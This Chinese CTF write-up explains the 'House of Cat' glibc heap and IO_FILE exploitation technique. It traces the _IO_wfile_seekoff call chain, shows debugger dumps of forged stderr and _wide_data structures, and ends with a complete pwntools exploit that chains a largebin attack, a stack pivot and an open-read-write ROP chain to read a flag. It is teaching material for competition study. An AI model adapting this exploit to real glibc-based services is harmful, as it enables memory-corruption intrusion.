适用版本:
glibc 2.23 -- 至今
利用条件:
可以进行一次任意地址写堆地址
可以触发 IO 流操作
攻击方法:
劫持stderr指针为我们构造的fake_IO_FILE(伪造好stderr和_wide_data结构体)
触发 IO 流操作
源码分析:
触发__malloc_assert
后会有这样一条调用链:
__malloc_assert -> __fxprintf -> __vfxprintf->locked_vfxprintf -> __vfprintf_internal -> _IO_file_xsputn
其中_IO_file_xsputn
是通过vtable
处的指针来调用,且在_IO_file_jumps
中_IO_file_xsputn
函数和_IO_wfile_seekoff
相差0x10大小
我们通过劫持 _IO_2_1_stderr
结构体,并将 vtable
处的指针改为_IO_wfile_seekoff
,来执行我们想要的链:
_IO_wfile_seekoff -> _IO_switch_to_wget_mode
->_IO_WOVERFLOW
//_IO_wfile_seekoff函数源码
off64_t
_IO_wfile_seekoff (FILE *fp, off64_t offset, int dir, int mode)
{
off64_t result;
off64_t delta, new_offset;
long int count;
if (mode == 0)
return do_ftell_wide (fp);
int must_be_exact = ((fp->_wide_data->_IO_read_base
== fp->_wide_data->_IO_read_end)
&& (fp->_wide_data->_IO_write_base
== fp->_wide_data->_IO_write_ptr));
bool was_writing = ((fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base)
|| _IO_in_put_mode (fp));
if (was_writing && _IO_switch_to_wget_mode (fp))
return WEOF;
......
}
通过 _IO_wfile_seekoff
函数来触发 _IO_switch_to_wget_mode
函数,进而执行 _IO_switch_to_wget_mode
函数再触发宏调用函数_IO_WOVERFLOW
//_IO_switch_to_wget_mode 函数源码
_IO_switch_to_wget_mode (FILE *fp)
{
if (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)
if ((wint_t)_IO_WOVERFLOW (fp, WEOF) == WEOF)
return EOF;
......
}
若满足 fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base
这个条件,_IO_WOVERFLOW
函数会通过跳转到_wide_vtable
中的函数指针
我们可以通过控制_wide_vtable
处的指针,来劫持程序的执行流
若未开沙箱,则可直接劫持_wide_vtable
为one_gadget
若execve函数被禁,则可通过magic_gadget和leave_ret构造栈迁移,来完全控制程序流执行rop链,详细可以在CTF 中 glibc堆利用 及 IO_FILE 总结 学习
magic_gadget:
<svcudp_reply+26>: mov rbp,QWORD PTR [rdi+0x48]
<svcudp_reply+30>: mov rax,QWORD PTR [rbp+0x18]
<svcudp_reply+34>: lea r13,[rbp+0x10]
<svcudp_reply+38>: mov DWORD PTR [rbp+0x10],0x0
<svcudp_reply+45>: mov rdi,r13
<svcudp_reply+48>: call QWORD PTR [rax+0x28]
例题2022挑战杯 house of cat
保护全开,开了沙箱
程序分析:
限制申请大小 0x418-0x46f,限制修改次数两次并只能修改0x30字节
存在UAF漏洞,限制泄露数据最大大小为0x30字节
题目除了前面的加密,本身算是一道标准的菜单题,不过我们主要是要分析这道题里house of cat手法如何利用,前面需要逆向的部分不再赘述
由于开了沙箱的缘故,我们需要构造orw来读取flag。此外,送入orw前还需要构造close(0),将标准输入关闭掉,这样再次read的时候flag文件描述符就将是0,则可以正常read flag文件
利用详解:
首先是泄露libc地址和heap地址
伪造好stderr和_wide_data结构体
largebin attack攻击stderr指针
修改top_chunk大小并触发IO调用
进入 house of cat 的调用链,通过_wide_data->vtable跳转到提前布置好的地址进行栈迁移
栈迁移后便已完全控制程序流,跳转执行rop链
首先看一下我们要伪造的两个结构体stderr和_IO_wide_data伪造前的样子
stderr
p *(struct _IO_FILE_plus*) stderr
pwndbg> p _IO_2_1_stderr_
$1 = {
file = {
_flags = -72540025,
_IO_read_ptr = 0x7ff44001a723 <_IO_2_1_stderr_+131> "",
_IO_read_end = 0x7ff44001a723 <_IO_2_1_stderr_+131> "",
_IO_read_base = 0x7ff44001a723 <_IO_2_1_stderr_+131> "",
_IO_write_base = 0x7ff44001a723 <_IO_2_1_stderr_+131> "",
_IO_write_ptr = 0x7ff44001a723 <_IO_2_1_stderr_+131> "",
_IO_write_end = 0x7ff44001a723 <_IO_2_1_stderr_+131> "",
_IO_buf_base = 0x7ff44001a723 <_IO_2_1_stderr_+131> "",
_IO_buf_end = 0x7ff44001a724 <_IO_2_1_stderr_+132> "",
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x7ff44001a780 <_IO_2_1_stdout_>,
_fileno = 2,
_flags2 = 0,
_old_offset = -1,
_cur_column = 0,
_vtable_offset = 0 '00',
_shortbuf = "",
_lock = 0x7ff44001ba60 <_IO_stdfile_2_lock>,
_offset = -1,
_codecvt = 0x0,
_wide_data = 0x7ff4400198a0 <_IO_wide_data_2>,
_freeres_list = 0x0,
_freeres_buf = 0x0,
__pad5 = 0,
_mode = 0,
_unused2 = '00' <repeats 19 times>
},
vtable = 0x7ff440016600 <_IO_file_jumps>
}
_IO_wide_data
p *(struct _IO_wide_data*) 0x555555554000
#0x555555554000为heap基地址
pwndbg> p *(struct _IO_wide_data*) 0x558944aed000
$2 = {
_IO_read_ptr = 0x10102464c457f <error: Cannot access memory at address 0x10102464c457f>,
_IO_read_end = 0x0,
_IO_read_base = 0x1003e0003 <error: Cannot access memory at address 0x1003e0003>,
_IO_write_base = 0x11f0 <error: Cannot access memory at address 0x11f0>,
_IO_write_ptr = 0x40 <error: Cannot access memory at address 0x40>,
_IO_write_end = 0x3148 <error: Cannot access memory at address 0x3148>,
_IO_buf_base = 0x38004000000000 <error: Cannot access memory at address 0x38004000000000>,
_IO_buf_end = 0x1c001d0040000d <error: Cannot access memory at address 0x1c001d0040000d>,
_IO_save_base = 0x400000006 <error: Cannot access memory at address 0x400000006>,
_IO_backup_base = 0x40 <error: Cannot access memory at address 0x40>,
_IO_save_end = 0x40 <error: Cannot access memory at address 0x40>,
_IO_state = {
__count = 64,
__value = {
__wch = 0,
__wchb = "000000"
}
},
_IO_last_state = {
__count = 728,
__value = {
__wch = 0,
__wchb = "000000"
}
},
_codecvt = {
__cd_in = {
step = 0x2d8,
step_data = {
__outbuf = 0x8 <error: Cannot access memory at address 0x8>,
__outbufend = 0x400000003 <error: Cannot access memory at address 0x400000003>,
__flags = 792,
__invocation_counter = 0,
__internal_use = 792,
__statep = 0x318,
__state = {
__count = 28,
__value = {
__wch = 0,
__wchb = "000000"
}
}
}
},
__cd_out = {
step = 0x1c,
step_data = {
__outbuf = 0x1 <error: Cannot access memory at address 0x1>,
__outbufend = 0x400000001 <error: Cannot access memory at address 0x400000001>,
__flags = 0,
__invocation_counter = 0,
__internal_use = 0,
__statep = 0x0,
__state = {
__count = 2512,
__value = {
__wch = 0,
__wchb = "000000"
}
}
}
}
},
_shortbuf = L"x9d0",
_wide_vtable = 0x1000
}
获取libc基址和heap基址
add(14,0x450,b'o')
add(13,0x450,b'p')
delete(14)
add(12,0x460,b'n')
show(14)
p.recvuntil('Context:n')
libc_base=l64()-0x21a0e0#-0x10-libc.sym['__malloc_hook']
li('libc_base = '+hex(libc_base))
heap_base = u64(p.recvuntil("x55")[-6:].ljust(8,b"x00"))-0x290
li('heap_base = '+hex(heap_base))
largebin attack攻击stderr指针
fake_file=p64(1)*4
fake_file+=p64(0)*3
fake_file+=p64(heap_base+0x1180+0x30)
#_IO_save_base -- _IO_2_1_stderr_+72
fake_file+=p64(0)*7
fake_file+=p64(lock)+p64(0)*2
#_IO_stdfile_2_lock
fake_file+=p64(heap_base+0x10a0)
#_wide_data
fake_file+=p64(0)*6
fake_file+=p64(IO_wfile_jumps+0x10)
#fake_file+=
add(0,0x428,fake_file)
pl=p64(libc_base+0x21a0d0)*2+p64(IO_list_all)+p64(stderr-0x20)
edit(0,pl)
#main_arena+1104 main_arena+1104
#IO_list_all stderr-0x20
delete(1) #ub
add(3,0x440,b'c') #attack
修改top_chunk大小并触发IO调用
add(4,0x418,b'd') #r chunk1
freed
chunk 15
chunk 4
chunk 2
chunk 3
pl=p64(heap_base+0x2e20)+p64(libc_base+0x21a0e0)+p64(heap_base+0x2e20)+p64(heap_base+0x3263-0x20)
edit(3,pl)
#chunk9+0x30 main_arena+1120
#chunk9+0x30 &TopChunk_Size+3 -0x20
delete(8) #ub
delete(14)
add(10,0x450,b'a') #attack
模板详解:
part 1
#print('==============================================part 1
chunk0 = heap_base+0xfc0
fake_file=p64(1)*4
fake_file+=p64(0)*3
fake_file+=p64(chunk0+0x1c0+0x30)
#_IO_save_base -- _IO_2_1_stderr_+72
fake_file+=p64(0)*7
fake_file+=p64(lock)+p64(0)*2
#_IO_stdfile_2_lock
fake_file+=p64(chunk0+0xe0) #wide_data start
#_wide_data
fake_file+=p64(0)*6
fake_file+=p64(IO_wfile_jumps+0x10)
#vtable
fake_file+=wide_data
构造后的stderr,我们将_IO_save_base改为chunk0+0x1c0+0x30
将_wide_data地址改为我们送入chunk0中的payload中wide_data这部分的地址,以进行_wide_data结构体的构造
pwndbg> p *stderr
$3 = {
_flags = 0,
_IO_read_ptr = 0x431 <error: Cannot access memory at address 0x431>,
_IO_read_end = 0x7f0cbec1a0d0 <main_arena+1104> "300240301276f177",
_IO_read_base = 0x7f0cbec1a0d0 <main_arena+1104> "300240301276f177",
_IO_write_base = 0x7f0cbec1a680 <_IO_list_all> "240246301276f177",
_IO_write_ptr = 0x7f0cbec1a840 <_IO_2_1_stdout_+192> "",
_IO_write_end = 0x0,
_IO_buf_base = 0x0,
_IO_buf_end = 0x0,
_IO_save_base = 0x559ea0e1c1b0 <incomplete sequence 336>,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x0,
_fileno = 0,
_flags2 = 0,
_old_offset = 0,
_cur_column = 0,
_vtable_offset = 0 '00',
_shortbuf = "",
_lock = 0x7f0cbec1ba60 <_IO_stdfile_2_lock>,
_offset = 0,
_codecvt = 0x0,
_wide_data = 0x559ea0e1c0a0,
_freeres_list = 0x0,
_freeres_buf = 0x0,
__pad5 = 0,
_mode = 0,
_unused2 = '00' <repeats 19 times>
}
part 2
#print('==============================================part 2
wide_data=p64(0)*4+p64(1) #_IO_write_ptr
wide_data+=p64(0)*20
wide_data+=b'flagx00x00x00x00' #_statep #flag_addr
wide_data+=p64(0)*2
wide_data+=p64(heap_base+0x1170) #wide_data+=p64(0)*2 1
wide_data+=pivot
看下面我们构造后的_IO_wide_data
_wide_vtable被我们修改为了chunk0+0x1b0
这里的0x000055f6c4a410a0就是我们送入chunk0中的payload中的wide_data这部分的地址(chunk0+0xe0)
pwndbg> p *(struct _IO_wide_data*) 0x000055f6c4a410a0
$4 = {
_IO_read_ptr = 0x0,
_IO_read_end = 0x0,
_IO_read_base = 0x0,
_IO_write_base = 0x0,
_IO_write_ptr = 0x1 <error: Cannot access memory at address 0x1>,
_IO_write_end = 0x0,
_IO_buf_base = 0x0,
_IO_buf_end = 0x0,
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_IO_state = {
__count = 0,
__value = {
__wch = 0,
__wchb = "000000"
}
},
_IO_last_state = {
__count = 0,
__value = {
__wch = 0,
__wchb = "000000"
}
},
_codecvt = {
__cd_in = {
step = 0x0,
step_data = {
__outbuf = 0x0,
__outbufend = 0x0,
__flags = 0,
__invocation_counter = 0,
__internal_use = 0,
__statep = 0x0,
__state = {
__count = 0,
__value = {
__wch = 0,
__wchb = "000000"
}
}
}
},
__cd_out = {
step = 0x0,
step_data = {
__outbuf = 0x0,
__outbufend = 0x0,
__flags = 0,
__invocation_counter = 0,
__internal_use = 0,
__statep = 0x67616c66,
__state = {
__count = 0,
__value = {
__wch = 0,
__wchb = "000000"
}
}
}
}
},
_shortbuf = L"",
_wide_vtable = 0x55f6c4a41170
}
stderr中储存的chunk0的值会作为rdi送入_IO_wfile_seekoff和_IO_switch_to_wget_mode
经过一系列赋值后,我们会执行到chunk0+0xa0+0xe0+0x18地址处,即我们的magic_gadget处
执行 _IO_WOVERFLOW劫持程序流到magic_gadget
part 3
#print('==============================================part 3
pivot=p64(magic_gadget) #call rdi+0x88
pivot+=p64(0)*4
pivot+=p64(0xdeadbeef)
pivot+=p64(add_rsp_ret)
pivot+=p64(0xdeadbeef)
pivot+=p64(heap_base+0x1178+0x30) #pivot+=p64(0)*4 4
pivot+=p64(leave_ret)
pivot+=rop
我们将rbp赋值为chunk0+0x48(-->chunk0+0x1b0)
而下面会执行到chunk0+0x48 +0x18 + 0x28地址处(即leave_ret处)
栈迁移
自此,我们完全控制了程序流
part 4
#print('==============================================part 4
#close(0)
rop=p64(pop_rdi)
rop+=p64(0)
rop+=p64(close_addr)
#open('flag',0)
flag_addr=heap_base+0x1168
rop+=p64(pop_rdi)
rop+=p64(flag_addr)# 'flag' address
rop+=p64(pop_rsi)
rop+=p64(0)
rop+=p64(pop_rax_ret)
rop+=p64(2)
rop+=p64(syscall)
#read(0,heap_base+0xb40,0x50)
rop+=p64(pop_rdi)
rop+=p64(0)
rop+=p64(pop_rsi)
rop+=p64(heap_base+0xb40) #chunk12-0x10
rop+=p64(pop_rdx_r12)
rop+=p64(0x50)
rop+=p64(0)
rop+=p64(read_addr)
#write(1,heap_base+0xb40,0x50)
rop+=p64(pop_rdi)
rop+=p64(1)
rop+=p64(pop_rsi)
rop+=p64(heap_base+0xb40) #chunk12-0x10
rop+=p64(pop_rdx_r12)
rop+=p64(0x50)
rop+=p64(0)
rop+=p64(write_addr)
要注意的一点是由于我们part3的构造,所以我们还要进行add rsp,0x18的调整以执行到rop
成功获取flag
触发流程:
calloc
_int_malloc
sysmalloc
__malloc_assert
__fxprintf
locked_vfxprintf
__vfprintf_internal
_IO_wfile_seekoff
_IO_switch_to_wget_mode
magic_gadget
leave_ret
rop
完整exp:
from pwn import *
p=process('./pwn')
libc=ELF('./libc.so.6')
context.log_level='debug'
s = lambda data :p.send(data)
sa = lambda x, y :p.sendafter(x, y)
sl = lambda data :p.sendline(data)
sla = lambda x, y :p.sendlineafter(x, y)
r = lambda num :p.recv(num)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
itr = lambda :p.interactive()
uu32 = lambda data,num :u32(p.recvuntil(data)[-num:].ljust(4,b'x00'))
uu64 = lambda data,num :u64(p.recvuntil(data)[-num:].ljust(8,b'x00'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
l64 = lambda :u64(p.recvuntil("x7f")[-6:].ljust(8,b"x00"))
l32 = lambda :u32(p.recvuntil("xf7")[-4:].ljust(4,b"x00"))
li = lambda x : print('x1b[01;38;5;214m' + x + 'x1b[0m')
ll = lambda x : print('x1b[01;38;5;1m' + x + 'x1b[0m')
context.terminal = ['gnome-terminal','-x','sh','-c']
def dbg():
gdb.attach(proc.pidof(p)[0])
pause()
def add(idx,size,cont):
sa('mew mew mew~~~~~~', 'CAT | r00t QWB QWXF$xff')
sla('plz input your cat choice:n',str(1))
sla('plz input your cat idx:n',str(idx))
sla('plz input your cat size:n',str(size))
sa('plz input your content:n',cont)
def delete(idx):
sa('mew mew mew~~~~~~', 'CAT | r00t QWB QWXF$xff')
sla('plz input your cat choice:n', str(2))
sla('plz input your cat idx:n',str(idx))
def show(idx):
sa('mew mew mew~~~~~~', 'CAT | r00t QWB QWXF$xff')
sla('plz input your cat choice:n', str(3))
sla('plz input your cat idx:n',str(idx))
def edit(idx,cont):
sa('mew mew mew~~~~~~', 'CAT | r00t QWB QWXF$xff')
sla('plz input your cat choice:n', str(4))
sla('plz input your cat idx:n',str(idx))
sa('plz input your content:n', cont)
sa('mew mew mew~~~~~~','LOGIN | r00t QWB QWXFadmin')
add(14,0x450,b'o')
add(13,0x450,b'p')
delete(14)
add(12,0x460,b'n')
show(14)
p.recvuntil('Context:n')
libc_base=l64()-0x21a0e0#-0x10-libc.sym['__malloc_hook']
li('libc_base = '+hex(libc_base))
heap_base = u64(p.recvuntil("x55")[-6:].ljust(8,b"x00"))-0x290
li('heap_base = '+hex(heap_base))
IO_list_all = libc_base+0x21a680
magic_gadget = libc_base+0x16a1fa
'''
<svcudp_reply+26>: mov rbp,QWORD PTR [rdi+0x48]
<svcudp_reply+30>: mov rax,QWORD PTR [rbp+0x18]
<svcudp_reply+34>: lea r13,[rbp+0x10]
<svcudp_reply+38>: mov DWORD PTR [rbp+0x10],0x0
<svcudp_reply+45>: mov rdi,r13
<svcudp_reply+48>: call QWORD PTR [rax+0x28]
'''
IO_2_1_stderr = libc_base+0x21a6a0 #_IO_2_1_stderr
stderr = libc_base+0x21a860
IO_wfile_jumps = libc_base+0x2160c0
lock=libc_base+0x21ba60 #_lock
add_rsp_ret=libc_base+0x000000000003a889
leave_ret=libc_base+0x00000000000562ec
pop_rdi=libc_base+0x000000000002a3e5
pop_rsi=libc_base+0x000000000002be51
pop_rdx_r12=libc_base+0x000000000011f497
pop_rax_ret=libc_base+0x0000000000045eb0
syscall=libc_base+0xea5b9
read_addr=libc_base+libc.symbols['read']
write_addr=libc_base+libc.symbols['write']
close_addr=libc_base+libc.symbols['close']
add(11,0x450,b'm')
#print('==============================================part 4
#close(0)
rop=p64(pop_rdi)
rop+=p64(0)
rop+=p64(close_addr)
#open('flag',0)
flag_addr=heap_base+0x1168
rop+=p64(pop_rdi)
rop+=p64(flag_addr)# 'flag' address
rop+=p64(pop_rsi)
rop+=p64(0)
rop+=p64(pop_rax_ret)
rop+=p64(2)
rop+=p64(syscall)
#read(0,heap_base+0xb40,0x50)
rop+=p64(pop_rdi)
rop+=p64(0)
rop+=p64(pop_rsi)
rop+=p64(heap_base+0xb40) #chunk12-0x10
rop+=p64(pop_rdx_r12)
rop+=p64(0x50)
rop+=p64(0)
rop+=p64(read_addr)
#write(1,heap_base+0xb40,0x50)
rop+=p64(pop_rdi)
rop+=p64(1)
rop+=p64(pop_rsi)
rop+=p64(heap_base+0xb40) #chunk12-0x10
rop+=p64(pop_rdx_r12)
rop+=p64(0x50)
rop+=p64(0)
rop+=p64(write_addr)
#print('==============================================part 3
pivot=p64(magic_gadget) #call rdi+0x88
pivot+=p64(0)*4
pivot+=p64(0xdeadbeef)
pivot+=p64(add_rsp_ret)
pivot+=p64(0xdeadbeef)
pivot+=p64(heap_base+0x1178+0x30) #pivot+=p64(0)*4 4
pivot+=p64(leave_ret)
pivot+=rop
#print('==============================================part 2
wide_data=p64(0)*4+p64(1) #_IO_write_ptr
wide_data+=p64(0)*20
wide_data+=b'flagx00x00x00x00' #_statep #flag_addr
wide_data+=p64(0)*2
wide_data+=p64(heap_base+0x1170) #wide_data+=p64(0)*2 1
wide_data+=pivot
#print('==============================================part 1
fake_file=p64(1)*4
fake_file+=p64(0)*3
fake_file+=p64(heap_base+0xfc0+0x1c0+0x30) #chunk0+0x1c0 -> chunk0+0x1b0
#_IO_save_base
fake_file+=p64(0)*7
fake_file+=p64(lock)+p64(0)*2
#_IO_stdfile_2_lock
fake_file+=p64(heap_base+0x10a0) #wide_data
#_wide_data
fake_file+=p64(0)*6
fake_file+=p64(IO_wfile_jumps+0x10)
#vtable --> _IO_wfile_seekoff
fake_file+=wide_data
add(0,0x428,fake_file)
add(15,0x460,'prevent merge chunk')
add(1,0x418,b'a')
delete(0) #ub
add(2,0x460,b'b') #chunk0 -> largebin
pl=p64(libc_base+0x21a0d0)*2+p64(IO_list_all)+p64(stderr-0x20)
edit(0,pl)
#main_arena+1104 main_arena+1104
#IO_list_all stderr-0x20
delete(1) #ub
add(3,0x440,b'c') #attack
add(4,0x418,b'd') #r chunk1
add(7,0x460,b'g')
add(8,0x430,b'h')
delete(3)
add(9,0x460,b'i') #chunk3 -> largebin
pl=p64(heap_base+0x2e20)+p64(libc_base+0x21a0e0)+p64(heap_base+0x2e20)+p64(heap_base+0x3263-0x20)
edit(3,pl)
#chunk9+0x30 main_arena+1120
#chunk9+0x30 &TopChunk_Size+3 -0x20
delete(8) #ub
delete(14)
add(10,0x450,b'a') #attack
p.sendafter("mew mew mew~~~~~~n",'CAT | r00t QWB QWXF$xff')
p.sendlineafter("plz input your cat choice:n",str(1))
p.sendlineafter("plz input your cat idx:n",str(6))
dbg()
p.sendlineafter("plz input your cat size:n",str(0x46f))
itr()
参考:
House of cat新型glibc中IO利用手法解析 && 第六届强网杯House of cat详解
house of cat -2022强网杯pwn复现 | ZIKH26's Blog
CTF 中 glibc堆利用 及 IO_FILE 总结
来源:先知社区的【舒*满 】师傅
注:如有侵权请联系删除
如需进群进行技术交流,请扫该二维码
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论